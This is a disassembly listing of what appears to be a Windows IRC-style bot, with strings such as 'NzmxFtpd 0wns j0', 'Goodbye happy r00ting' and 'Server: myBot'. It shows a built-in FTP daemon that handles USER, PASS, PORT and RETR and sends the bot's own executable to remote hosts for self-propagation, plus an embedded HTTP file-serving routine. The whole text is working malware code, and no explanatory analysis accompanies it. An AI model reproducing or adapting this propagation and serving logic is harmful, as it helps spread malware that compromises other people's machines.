		dd 840FFFF8h, 45Bh, 0B539C933h,	0FFFFFDD8h, 958D1676h
		dd 0FFFFFDDCh
; ---------------------------------------------------------------------------

loc_405574:				; CODE XREF: sub_4053D5+1ADj
		cmp	[edx], eax
		jz	short loc_405584
		inc	ecx
		add	edx, 4
		cmp	ecx, [ebp+var_228]
		jb	short loc_405574

loc_405584:				; CODE XREF: sub_4053D5+1A1j
		cmp	ecx, [ebp+var_228]
		jnz	short loc_4055A2
		cmp	[ebp+var_228], 40h
		jnb	short loc_4055A2
		mov	[ebp+ecx*4+var_224], eax
		inc	[ebp+var_228]

loc_4055A2:				; CODE XREF: sub_4053D5+1B5j
					; sub_4053D5+1BEj
		cmp	eax, [ebp+var_4]
		jle	short loc_4055AA
		mov	[ebp+var_4], eax

loc_4055AA:				; CODE XREF: sub_4053D5+1D0j
		push	esi
		push	15h
		push	offset a220Nzmxftpd0wn ; "220 NzmxFtpd 0wns j0\n"
		push	eax
		call	ebx	; send
		jmp	loc_4059BF
; ---------------------------------------------------------------------------
		dw 8D56h
; ---------------------------------------------------------------------------
		test	[ebp+edi*8+var_4+3], esp
		jmp	fword ptr [edx+64h]
; ---------------------------------------------------------------------------
		db 50h
		dd 0C5E89057h, 85716B00h, 8B527FC0h, 0FFFDD895h, 3BC933FFh
		dd 8D3A76D6h, 0FFFDDC85h
		db 0FFh
; ---------------------------------------------------------------------------

loc_4055E1:				; CODE XREF: sub_4053D5+216j
		cmp	[eax], edi
		jz	short loc_4055EF
		inc	ecx
		add	eax, 4
		cmp	ecx, edx
		jb	short loc_4055E1
		jmp	short loc_405615
; ---------------------------------------------------------------------------

loc_4055EF:				; CODE XREF: sub_4053D5+20Ej
		dec	edx
		cmp	ecx, edx
		jnb	short loc_40560F
		lea	eax, [ebp+ecx*4+var_224]

loc_4055FB:				; CODE XREF: sub_4053D5+238j
		mov	edx, [eax+4]
		inc	ecx
		mov	[eax], edx
		mov	edx, [ebp+var_228]
		add	eax, 4
		dec	edx
		cmp	ecx, edx
		jb	short loc_4055FB

loc_40560F:				; CODE XREF: sub_4053D5+21Dj
		dec	[ebp+var_228]

loc_405615:				; CODE XREF: sub_4053D5+218j
		push	edi
		nop
		call	near ptr 71AB1A6Dh
		jmp	loc_4059BF
; ---------------------------------------------------------------------------
		lea	eax, [ebp+var_334]
		push	eax
		lea	eax, [ebp+var_AC]
		push	eax
		lea	eax, [ebp+var_29C]
		push	offset aSS_1	; "%s %s"
		push	eax
		call	sub_418A52
		lea	eax, [ebp+var_AC]
		push	offset aUser_1	; "USER"
		push	eax
		call	sub_4176D0
		add	esp, 18h
		test	eax, eax
		jnz	short loc_405665
		push	esi
		push	16h
		push	offset a331PasswordReq ; "331 Password required\n"
		jmp	loc_4059AA
; ---------------------------------------------------------------------------

loc_405665:				; CODE XREF: sub_4053D5+281j
		lea	eax, [ebp+var_AC]
		push	offset aPass	; "PASS"
		push	eax
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_405689
		push	esi
		push	14h
		push	offset a230UserLoggedI ; "230 User logged in.\n"
		jmp	loc_4059AA
; ---------------------------------------------------------------------------

loc_405689:				; CODE XREF: sub_4053D5+2A5j
		lea	eax, [ebp+var_AC]
		push	offset aSyst	; "SYST"
		push	eax
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4056AD
		push	esi
		push	0Dh
		push	offset a215Nzmxftpd ; "215 NzmxFtpd\n"
		jmp	loc_4059AA
; ---------------------------------------------------------------------------

loc_4056AD:				; CODE XREF: sub_4053D5+2C9j
		lea	eax, [ebp+var_AC]
		push	offset aRest	; "REST"
		push	eax
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4056D1
		push	esi
		push	10h
		push	offset a350Restarting_ ; "350 Restarting.\n"
		jmp	loc_4059AA
; ---------------------------------------------------------------------------

loc_4056D1:				; CODE XREF: sub_4053D5+2EDj
		lea	eax, [ebp+var_AC]
		push	offset off_42A2D0
		push	eax
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4056F5
		push	esi
		push	1Eh
		push	offset a257IsCurrentDi ; "257 \"/\" is current directory.\n"
		jmp	loc_4059AA
; ---------------------------------------------------------------------------

loc_4056F5:				; CODE XREF: sub_4053D5+311j
		lea	eax, [ebp+var_AC]
		push	offset aType	; "TYPE"
		push	eax
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_405730
		lea	eax, [ebp+var_334]
		push	offset aA	; "A"
		push	eax
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_405730
		push	esi
		push	13h
		push	offset a200TypeSetToA_ ; "200 Type set to A.\n"
		jmp	loc_4059AA
; ---------------------------------------------------------------------------

loc_405730:				; CODE XREF: sub_4053D5+335j
					; sub_4053D5+34Cj
		lea	eax, [ebp+var_AC]
		push	offset aType	; "TYPE"
		push	eax
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40576B
		lea	eax, [ebp+var_334]
		push	offset aI	; "I"
		push	eax
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40576B
		push	esi
		push	13h
		push	offset a200TypeSetToI_ ; "200 Type set to I.\n"
		jmp	loc_4059AA
; ---------------------------------------------------------------------------

loc_40576B:				; CODE XREF: sub_4053D5+370j
					; sub_4053D5+387j
		lea	eax, [ebp+var_AC]
		push	offset aPasv	; "PASV"
		push	eax
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4057B9
		push	0Ah
		mov	esi, offset a425PassiveNotS ; "425 Passive not supported on this serve"...
		pop	ecx
		lea	edi, [ebp+var_124]
		rep movsd
		push	eax
		lea	eax, [ebp+var_124]
		push	eax
		movsw
		call	sub_417AB0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_124]

loc_4057A9:				; CODE XREF: sub_4053D5+423j
		push	eax
		push	[ebp+arg_0]
		call	ebx	; send
		xor	esi, esi

loc_4057B1:				; CODE XREF: sub_4053D5+4F6j
		mov	edi, [ebp+arg_0]
		jmp	loc_4059AD
; ---------------------------------------------------------------------------

loc_4057B9:				; CODE XREF: sub_4053D5+3ABj
		lea	eax, [ebp+var_AC]
		push	offset aList	; "LIST"
		push	eax
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4057FA
		push	5
		mov	esi, offset a226TransferCom ; "226 Transfer complete\n"
		pop	ecx
		lea	edi, [ebp+var_C4]
		rep movsd
		movsw
		push	eax
		lea	eax, [ebp+var_C4]
		push	eax
		movsb
		call	sub_417AB0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_C4]
		jmp	short loc_4057A9
; ---------------------------------------------------------------------------

loc_4057FA:				; CODE XREF: sub_4053D5+3F9j
		lea	eax, [ebp+var_AC]
		push	offset aPort	; "PORT"
		push	eax
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_4058D0
		lea	eax, [ebp+var_2D0]
		push	eax
		lea	eax, [ebp+var_F8]
		push	eax
		lea	eax, [ebp+var_20]
		push	eax
		lea	eax, [ebp+var_14]
		push	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_1C]
		push	eax
		lea	eax, [ebp+var_29C]
		push	offset aS	; "%*s %[^,],%[^,],%[^,],%[^,],%[^,],%[^\n]"...
		push	eax
		call	sub_418A52
		lea	eax, [ebp+var_F8]
		push	eax
		call	sub_41781F
		mov	edi, eax
		lea	eax, [ebp+var_2D0]
		push	eax
		call	sub_41781F
		mov	[ebp+var_8], eax
		push	32h
		lea	eax, [ebp+var_F8]
		push	esi
		push	eax
		call	sub_417330
		add	esp, 34h
		lea	eax, [ebp+var_F8]
		push	[ebp+var_8]
		push	edi
		push	offset aXX	; "%x%x\n"
		push	eax
		call	sub_4172B0
		push	10h
		lea	eax, [ebp+var_F8]
		push	esi
		push	eax
		call	sub_418A3B
		add	esp, 1Ch
		mov	[ebp+var_8], eax
		lea	eax, [ebp+var_20]
		push	eax
		lea	eax, [ebp+var_14]
		push	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_1C]
		push	eax
		lea	eax, [ebp+var_48]
		push	offset aS_S_S_S	; "%s.%s.%s.%s"
		push	eax
		call	sub_4172B0
		add	esp, 18h
		push	esi
		push	1Dh
		push	offset a200PortCommand ; "200 PORT command successful.\n"
		push	[ebp+arg_0]
		call	ebx	; send
		jmp	loc_4057B1
; ---------------------------------------------------------------------------

loc_4058D0:				; CODE XREF: sub_4053D5+43Aj
		lea	eax, [ebp+var_AC]
		push	offset aRetr	; "RETR"
		push	eax
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40598B
		push	esi
		push	28h
		push	offset a150OpeningBina ; "150 Opening BINARY mode data connection"...
		push	edi
		call	ebx	; send
		push	[ebp+var_8]
		lea	eax, [ebp+var_48]
		push	eax
		call	sub_4059DB
		pop	ecx
		cmp	eax, 1
		pop	ecx
		jnz	short loc_405981
		call	sub_405A58
		cmp	eax, 1
		jnz	loc_4059AD
		push	esi
		push	17h
		push	offset a226TransferC_0 ; "226 Transfer complete.\n"
		push	edi
		call	ebx	; send
		lea	eax, [ebp+var_6D8]
		push	eax
		lea	eax, [ebp+var_48]
		push	dword_436F0C
		push	eax
		lea	eax, [ebp+var_8DC]
		push	offset unk_42A128
		push	eax
		call	sub_4172B0
		add	esp, 14h
		cmp	[ebp+var_440], esi
		jnz	short loc_405972
		push	esi
		lea	eax, [ebp+var_8DC]
		push	[ebp+var_444]
		push	eax
		lea	eax, [ebp+var_4C4]
		push	eax
		push	[ebp+var_6DC]
		call	sub_40D679
		add	esp, 14h

loc_405972:				; CODE XREF: sub_4053D5+578j
		lea	eax, [ebp+var_8DC]
		push	eax
		call	sub_40BF6D
		pop	ecx
		jmp	short loc_4059AD
; ---------------------------------------------------------------------------

loc_405981:				; CODE XREF: sub_4053D5+532j
		push	esi
		push	20h
		push	offset a425CanTOpenDat ; "425 Can't open data connection.\n"
		jmp	short loc_4059AA
; ---------------------------------------------------------------------------

loc_40598B:				; CODE XREF: sub_4053D5+510j
		lea	eax, [ebp+var_AC]
		push	offset aQuit	; "QUIT"
		push	eax
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4059AD
		push	esi
		push	1Bh
		push	offset a221GoodbyeHapp ; "221 Goodbye happy r00ting.\n"

loc_4059AA:				; CODE XREF: sub_4053D5+28Bj
					; sub_4053D5+2AFj ...
		push	edi
		call	ebx	; send

loc_4059AD:				; CODE XREF: sub_4053D5+3DFj
					; sub_4053D5+53Cj ...
		push	64h
		lea	eax, [ebp+var_29C]
		push	esi
		push	eax
		call	sub_417330
		add	esp, 0Ch

loc_4059BF:				; CODE XREF: sub_4053D5+1E0j
					; sub_4053D5+247j
		inc	edi
		cmp	edi, [ebp+var_4]
		mov	[ebp+arg_0], edi
		jle	loc_405503
		jmp	loc_4054C8
; ---------------------------------------------------------------------------

loc_4059D1:				; CODE XREF: sub_4053D5+11Ej
		push	1
		pop	eax

loc_4059D4:				; CODE XREF: sub_4053D5+D0j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	4
sub_4053D5	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4059DB	proc near		; CODE XREF: sub_4053D5+528p

var_1A0		= byte ptr -1A0h
var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 1A0h
		lea	eax, [ebp+var_1A0]
		push	eax
		push	101h
		nop
		call	near ptr 71AB41DAh
		push	0
		push	1
		push	2
		call	near ptr 71AB3C22h
		nop
		push	[ebp+arg_0]
		mov	dword_436F08, eax
		mov	[ebp+var_10], 2
		nop
		call	near ptr 71AB12F8h
		push	[ebp+arg_4]
		mov	[ebp+var_C], eax
		nop
		call	near ptr 71AB1746h
		mov	[ebp+var_E], ax
		lea	eax, [ebp+var_10]
		push	10h
		push	eax
		push	dword_436F08
		nop
		call	near ptr 71AB3E5Dh
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_405A53
		push	dword_436F08
		nop
		call	near ptr 71AB1A6Dh
		nop
		call	near ptr 71AB1836h
		xor	eax, eax
		leave
		retn
; ---------------------------------------------------------------------------

loc_405A53:				; CODE XREF: sub_4059DB+60j
		push	1
		pop	eax
		leave
		retn
sub_4059DB	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_405A58	proc near		; CODE XREF: sub_4053D5+534p

var_504		= byte ptr -504h
var_104		= byte ptr -104h

		push	ebp
		mov	ebp, esp
		sub	esp, 504h
		push	esi
		lea	eax, [ebp+var_104]
		push	104h
		push	eax
		push	0
		nop
		call	near ptr 2670000h
		lea	eax, [ebp+var_104]
		push	offset aRb	; "rb"
		push	eax
		call	sub_4179A8
		mov	esi, eax
		pop	ecx
		test	esi, esi
		pop	ecx
		jz	short loc_405AEF
		test	byte ptr [esi+0Ch], 10h
		jnz	short loc_405AD3
		push	edi
		mov	edi, 400h

loc_405A9B:				; CODE XREF: sub_405A58+78j
		push	esi
		push	1
		lea	eax, [ebp+var_504]
		push	edi
		push	eax
		call	sub_418A86
		add	esp, 10h
		lea	eax, [ebp+var_504]
		push	0
		push	edi
		push	eax
		push	dword_436F08
		nop
		call	near ptr 71AB1AF4h
		push	1
		call	near ptr 2610E42h
		nop
		test	byte ptr [esi+0Ch], 10h
		jz	short loc_405A9B
		pop	edi

loc_405AD3:				; CODE XREF: sub_405A58+3Bj
		push	esi
		call	sub_417900
		pop	ecx
		push	dword_436F08
		nop
		call	near ptr 71AB1A6Dh
		nop
		call	near ptr 71AB1836h
		push	1
		pop	eax

loc_405AEF:				; CODE XREF: sub_405A58+35j
		pop	esi
		leave
		retn
sub_405A58	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_405AF2	proc near		; DATA XREF: sub_407252+333o
					; sub_40EE72+54E8o

var_28F0	= byte ptr -28F0h
var_18F0	= byte ptr -18F0h
var_8F0		= byte ptr -8F0h
var_6F0		= byte ptr -6F0h
var_5EC		= dword	ptr -5ECh
var_5E8		= byte ptr -5E8h
var_360		= byte ptr -360h
var_25C		= dword	ptr -25Ch
var_254		= dword	ptr -254h
var_250		= dword	ptr -250h
var_24C		= dword	ptr -24Ch
var_248		= dword	ptr -248h
var_23C		= byte ptr -23Ch
var_138		= dword	ptr -138h
var_134		= dword	ptr -134h
var_34		= byte ptr -34h
var_24		= word ptr -24h
var_22		= word ptr -22h
var_20		= dword	ptr -20h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, 28F0h
		call	sub_417B30
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		mov	ecx, 0ECh
		mov	esi, eax
		lea	edi, [ebp+var_5EC]
		push	1
		rep movsd
		pop	esi
		xor	ebx, ebx
		mov	[eax+3ACh], esi
		push	10h
		lea	eax, [ebp+var_24]
		push	ebx
		push	eax
		mov	[ebp+var_14], esi
		call	sub_417330
		add	esp, 0Ch
		mov	[ebp+var_24], 2
		push	[ebp+var_25C]
		call	dword_43AD98
		push	ebx
		push	esi
		push	2
		mov	[ebp+var_22], ax
		mov	[ebp+var_20], ebx
		call	dword_43AE18
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		mov	[ebp+var_C], edi
		jz	loc_405EDD
		mov	eax, [ebp+var_254]
		push	10h
		imul	eax, 234h
		mov	dword_4407FC[eax], edi
		lea	eax, [ebp+var_24]
		push	eax
		push	edi
		call	dword_43ADC4
		cmp	eax, 0FFFFFFFFh
		jz	loc_405EDD
		push	7FFFFFFFh
		push	edi
		call	dword_43ADC0
		cmp	eax, 0FFFFFFFFh
		jz	loc_405EDD
		lea	eax, [ebp+var_14]
		push	eax
		push	8004667Eh
		push	edi
		call	dword_43AE34
		cmp	eax, 0FFFFFFFFh
		jz	loc_405EDD
		mov	ebx, esi
		mov	[ebp+var_134], edi
		mov	[ebp+var_138], ebx
		mov	[ebp+var_8], edi

loc_405BC9:				; CODE XREF: sub_405AF2+3E1j
		push	41h
		xor	eax, eax
		pop	ecx
		lea	esi, [ebp+var_138]
		push	eax
		push	eax
		push	eax
		lea	eax, [ebp+var_6F0]
		push	eax
		mov	eax, [ebp+var_8]
		lea	edi, [ebp+var_6F0]
		inc	eax
		rep movsd
		push	eax
		call	dword_43AD80
		cmp	eax, 0FFFFFFFFh
		jz	loc_405ED8
		xor	esi, esi
		mov	[ebp+var_4], esi

loc_405BFF:				; CODE XREF: sub_405AF2+3DBj
		lea	eax, [ebp+var_6F0]
		push	eax
		push	esi
		call	dword_43AC90
		test	eax, eax
		jz	loc_405EC3
		cmp	esi, [ebp+var_C]
		jnz	short loc_405C81
		lea	eax, [ebp+var_10]
		mov	[ebp+var_10], 10h
		push	eax
		lea	eax, [ebp+var_34]
		push	eax
		push	[ebp+var_C]
		call	dword_43AE2C
		cmp	eax, 0FFFFFFFFh
		jz	loc_405EC3
		xor	ecx, ecx
		test	ebx, ebx
		jbe	short loc_405C53
		lea	edx, [ebp+var_134]

loc_405C47:				; CODE XREF: sub_405AF2+15Fj
		cmp	[edx], eax
		jz	short loc_405C53
		inc	ecx
		add	edx, 4
		cmp	ecx, ebx
		jb	short loc_405C47

loc_405C53:				; CODE XREF: sub_405AF2+14Dj
					; sub_405AF2+157j
		cmp	ecx, ebx
		jnz	short loc_405C70
		cmp	ebx, 40h
		jnb	short loc_405C70
		mov	[ebp+ecx*4+var_134], eax
		mov	ebx, [ebp+var_138]
		inc	ebx
		mov	[ebp+var_138], ebx

loc_405C70:				; CODE XREF: sub_405AF2+163j
					; sub_405AF2+168j
		cmp	eax, [ebp+var_8]
		jbe	loc_405EC3
		mov	[ebp+var_8], eax
		jmp	loc_405EC3
; ---------------------------------------------------------------------------

loc_405C81:				; CODE XREF: sub_405AF2+126j
		mov	edi, 1000h
		lea	eax, [ebp+var_28F0]
		push	edi
		push	0
		push	eax
		call	sub_417330
		push	edi
		lea	eax, [ebp+var_18F0]
		push	0
		push	eax
		call	sub_417330
		add	esp, 18h
		lea	eax, [ebp+var_28F0]
		push	0
		push	edi
		push	eax
		push	esi
		call	dword_43ADB0
		test	eax, eax
		jg	short loc_405D14
		push	esi
		call	dword_43AE30
		xor	ecx, ecx
		test	ebx, ebx
		jbe	loc_405EC3
		lea	eax, [ebp+var_134]

loc_405CD3:				; CODE XREF: sub_405AF2+1EBj
		cmp	[eax], esi
		jz	short loc_405CE4
		inc	ecx
		add	eax, 4
		cmp	ecx, ebx
		jb	short loc_405CD3
		jmp	loc_405EC3
; ---------------------------------------------------------------------------

loc_405CE4:				; CODE XREF: sub_405AF2+1E3j
		lea	eax, [ebx-1]
		cmp	ecx, eax
		jnb	short loc_405D08
		lea	eax, [ebp+ecx*4+var_134]

loc_405CF2:				; CODE XREF: sub_405AF2+214j
		mov	edx, [eax+4]
		inc	ecx
		mov	[eax], edx
		mov	ebx, [ebp+var_138]
		add	eax, 4
		lea	edx, [ebx-1]
		cmp	ecx, edx
		jb	short loc_405CF2

loc_405D08:				; CODE XREF: sub_405AF2+1F7j
		dec	ebx
		mov	[ebp+var_138], ebx
		jmp	loc_405EC3
; ---------------------------------------------------------------------------

loc_405D14:				; CODE XREF: sub_405AF2+1C8j
		xor	esi, esi
		push	104h
		lea	eax, [ebp+var_23C]
		push	esi
		push	eax
		call	sub_417330
		lea	eax, [ebp+var_28F0]
		mov	[ebp+arg_0], esi
		push	eax
		call	sub_417AB0
		add	esp, 10h
		test	eax, eax
		jbe	loc_405EC3

loc_405D42:				; CODE XREF: sub_405AF2+309j
		mov	eax, [ebp+arg_0]
		mov	al, [ebp+eax+var_28F0]
		cmp	al, 0Ah
		mov	[ebp+esi+var_18F0], al
		jnz	loc_405DE7
		mov	esi, offset aGet ; "GET	"
		lea	eax, [ebp+var_18F0]
		push	esi
		push	eax
		call	sub_417880
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_405DBB
		lea	eax, [ebp+var_18F0]
		push	eax
		call	sub_417AB0
		cmp	eax, 5
		pop	ecx
		jbe	short loc_405DBB
		mov	eax, offset asc_42A3B4 ; " "
		push	eax
		push	eax
		lea	eax, [ebp+var_18F0]
		push	esi
		push	eax
		call	sub_417880
		pop	ecx
		pop	ecx
		push	eax
		call	sub_417880
		pop	ecx
		pop	ecx
		push	eax
		call	sub_418B6E
		push	eax
		lea	eax, [ebp+var_23C]
		push	eax
		call	sub_4179C0
		add	esp, 10h
		jmp	short loc_405DD2
; ---------------------------------------------------------------------------

loc_405DBB:				; CODE XREF: sub_405AF2+27Fj
					; sub_405AF2+291j
		lea	eax, [ebp+var_18F0]
		push	offset asc_42A3B0 ; "\r\n"
		push	eax
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_405E06

loc_405DD2:				; CODE XREF: sub_405AF2+2C7j
		push	edi
		lea	eax, [ebp+var_18F0]
		push	0
		push	eax
		call	sub_417330
		add	esp, 0Ch
		or	esi, 0FFFFFFFFh

loc_405DE7:				; CODE XREF: sub_405AF2+263j
		inc	[ebp+arg_0]
		lea	eax, [ebp+var_28F0]
		push	eax
		inc	esi
		call	sub_417AB0
		cmp	[ebp+arg_0], eax
		pop	ecx
		jb	loc_405D42
		jmp	loc_405EC3
; ---------------------------------------------------------------------------

loc_405E06:				; CODE XREF: sub_405AF2+2DEj
		xor	ecx, ecx
		test	ebx, ebx
		jbe	short loc_405E50
		lea	eax, [ebp+var_134]

loc_405E12:				; CODE XREF: sub_405AF2+32Dj
		mov	esi, [ebp+var_4]
		cmp	[eax], esi
		jz	short loc_405E23
		inc	ecx
		add	eax, 4
		cmp	ecx, ebx
		jb	short loc_405E12
		jmp	short loc_405E53
; ---------------------------------------------------------------------------

loc_405E23:				; CODE XREF: sub_405AF2+325j
		lea	eax, [ebx-1]
		cmp	ecx, eax
		jnb	short loc_405E47
		lea	eax, [ebp+ecx*4+var_134]

loc_405E31:				; CODE XREF: sub_405AF2+353j
		mov	edx, [eax+4]
		inc	ecx
		mov	[eax], edx
		mov	ebx, [ebp+var_138]
		add	eax, 4
		lea	edx, [ebx-1]
		cmp	ecx, edx
		jb	short loc_405E31

loc_405E47:				; CODE XREF: sub_405AF2+336j
		dec	ebx
		mov	[ebp+var_138], ebx
		jmp	short loc_405E53
; ---------------------------------------------------------------------------

loc_405E50:				; CODE XREF: sub_405AF2+318j
		mov	esi, [ebp+var_4]

loc_405E53:				; CODE XREF: sub_405AF2+32Fj
					; sub_405AF2+35Cj
		lea	eax, [ebp+var_23C]
		test	eax, eax
		jz	short loc_405EBC
		lea	eax, [ebp+var_360]
		push	eax
		call	sub_417AB0
		mov	edi, eax
		lea	eax, [ebp+var_23C]
		push	eax
		call	sub_417AB0
		add	edi, eax
		pop	ecx
		cmp	edi, 104h
		pop	ecx
		jnb	short loc_405EBC
		and	[ebp+arg_0], 0
		lea	eax, [ebp+arg_0]
		push	eax
		push	8004667Eh
		push	esi
		call	dword_43AE34
		push	[ebp+var_254]
		lea	eax, [ebp+var_23C]
		push	[ebp+var_248]
		push	eax
		lea	eax, [ebp+var_360]
		push	eax
		push	esi
		call	sub_4060D0
		add	esp, 14h
		jmp	short loc_405EC3
; ---------------------------------------------------------------------------

loc_405EBC:				; CODE XREF: sub_405AF2+369j
					; sub_405AF2+38Fj
		push	esi
		call	dword_43AE30

loc_405EC3:				; CODE XREF: sub_405AF2+11Dj
					; sub_405AF2+143j ...
		mov	esi, [ebp+var_4]
		inc	esi
		cmp	esi, [ebp+var_8]
		mov	[ebp+var_4], esi
		jbe	loc_405BFF
		jmp	loc_405BC9
; ---------------------------------------------------------------------------

loc_405ED8:				; CODE XREF: sub_405AF2+102j
		mov	edi, [ebp+var_C]
		xor	ebx, ebx

loc_405EDD:				; CODE XREF: sub_405AF2+6Aj
					; sub_405AF2+92j ...
		call	dword_43AD2C
		push	eax
		lea	eax, [ebp+var_8F0]
		push	offset unk_42A36C
		push	eax
		call	sub_4172B0
		add	esp, 0Ch
		cmp	[ebp+var_24C], ebx
		jnz	short loc_405F23
		push	ebx
		lea	eax, [ebp+var_8F0]
		push	[ebp+var_250]
		push	eax
		lea	eax, [ebp+var_5E8]
		push	eax
		push	[ebp+var_5EC]
		call	sub_40D679
		add	esp, 14h

loc_405F23:				; CODE XREF: sub_405AF2+40Cj
		lea	eax, [ebp+var_8F0]
		push	eax
		call	sub_40BF6D
		pop	ecx
		push	edi
		call	dword_43AE30
		push	[ebp+var_254]
		call	sub_417078
		pop	ecx
		push	ebx
		nop
		call	near ptr 26101F3h
		pop	edi
		pop	esi
		pop	ebx
sub_405AF2	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_405F4D	proc near		; DATA XREF: sub_4060D0+24Do

var_1654	= byte ptr -1654h
var_654		= byte ptr -654h
var_550		= byte ptr -550h
var_44C		= dword	ptr -44Ch
var_3C8		= byte ptr -3C8h
var_2C4		= byte ptr -2C4h
var_B8		= dword	ptr -0B8h
var_B4		= dword	ptr -0B4h
var_A4		= dword	ptr -0A4h
var_9C		= byte ptr -9Ch
var_68		= byte ptr -68h
var_20		= byte ptr -20h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, 1654h
		call	sub_417B30
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		mov	ecx, 0ECh
		mov	esi, eax
		lea	edi, [ebp+var_44C]
		rep movsd
		mov	dword ptr [eax+3ACh], 1
		lea	eax, [ebp+var_3C8]
		push	eax
		lea	eax, [ebp+var_550]
		push	eax
		call	sub_4172B0
		pop	ecx
		lea	eax, [ebp+var_2C4]
		pop	ecx
		push	eax
		lea	eax, [ebp+var_654]
		push	eax
		call	sub_4172B0
		xor	edi, edi
		pop	ecx
		cmp	[ebp+var_A4], edi
		pop	ecx
		jz	short loc_405FB3
		push	offset aTextHtml ; "text/html"
		jmp	short loc_405FB8
; ---------------------------------------------------------------------------

loc_405FB3:				; CODE XREF: sub_405F4D+5Dj
		push	offset aApplicationOct ; "application/octet-stream"

loc_405FB8:				; CODE XREF: sub_405F4D+64j
		lea	eax, [ebp+var_9C]
		push	eax
		call	sub_4172B0
		pop	ecx
		lea	eax, [ebp+var_68]
		pop	ecx
		mov	esi, 409h
		push	46h
		push	eax
		push	offset aDddDdMmmYyyy ; "ddd, dd	MMM yyyy"
		push	edi
		push	edi
		push	esi
		nop
		call	near ptr 2690000h
		lea	eax, [ebp+var_20]
		push	1Eh
		push	eax
		push	offset aHhMmSs	; "HH:mm:ss"
		push	edi
		push	edi
		push	esi
		nop
		call	near ptr 2680000h
		lea	eax, [ebp+var_20]
		cmp	[ebp+var_B8], 0FFFFFFFFh
		push	eax
		lea	eax, [ebp+var_68]
		push	eax
		lea	eax, [ebp+var_20]
		push	eax
		lea	eax, [ebp+var_68]
		push	eax
		lea	eax, [ebp+var_20]
		push	eax
		lea	eax, [ebp+var_68]
		push	eax
		jnz	short loc_406031
		lea	eax, [ebp+var_9C]
		push	eax
		lea	eax, [ebp+var_1654]
		push	offset aHttp1_0200OkSe ; "HTTP/1.0 200 OK\r\nServer: myBot\r\nCache-C"...
		push	eax
		call	sub_4172B0
		add	esp, 24h
		jmp	short loc_406052
; ---------------------------------------------------------------------------

loc_406031:				; CODE XREF: sub_405F4D+C5j
		push	[ebp+var_B8]
		lea	eax, [ebp+var_9C]
		push	eax
		lea	eax, [ebp+var_1654]
		push	offset aHttp1_0200Ok_0 ; "HTTP/1.0 200 OK\r\nServer: myBot\r\nCache-C"...
		push	eax
		call	sub_4172B0
		add	esp, 28h

loc_406052:				; CODE XREF: sub_405F4D+E2j
		lea	eax, [ebp+var_1654]
		push	edi
		push	eax
		call	sub_417AB0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_1654]
		push	eax
		push	[ebp+var_44C]
		call	dword_43ADE8
		cmp	[ebp+var_A4], edi
		jnz	short loc_406092
		lea	eax, [ebp+var_550]
		push	eax
		push	[ebp+var_44C]
		call	sub_406A0D
		pop	ecx
		pop	ecx
		jmp	short loc_4060AF
; ---------------------------------------------------------------------------

loc_406092:				; CODE XREF: sub_405F4D+12Dj
		lea	eax, [ebp+var_654]
		push	eax
		push	edi
		push	[ebp+var_44C]
		lea	eax, [ebp+var_550]
		push	eax
		call	sub_406387
		add	esp, 10h

loc_4060AF:				; CODE XREF: sub_405F4D+143j
		push	[ebp+var_44C]
		call	dword_43AE30
		push	[ebp+var_B4]
		call	sub_417078
		pop	ecx
		push	edi
		nop
		call	near ptr 26101F3h
		pop	edi
		pop	esi
sub_405F4D	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4060D0	proc near		; CODE XREF: sub_405AF2+3C0p

var_8C4		= byte ptr -8C4h
var_6C4		= dword	ptr -6C4h
var_640		= byte ptr -640h
var_53C		= byte ptr -53Ch
var_330		= dword	ptr -330h
var_32C		= dword	ptr -32Ch
var_31C		= dword	ptr -31Ch
var_318		= dword	ptr -318h
var_314		= byte ptr -314h
var_211		= byte ptr -211h
var_210		= byte ptr -210h
var_10C		= byte ptr -10Ch
var_10B		= byte ptr -10Bh
var_10A		= byte ptr -10Ah
var_8		= byte ptr -8
var_4		= dword	ptr -4
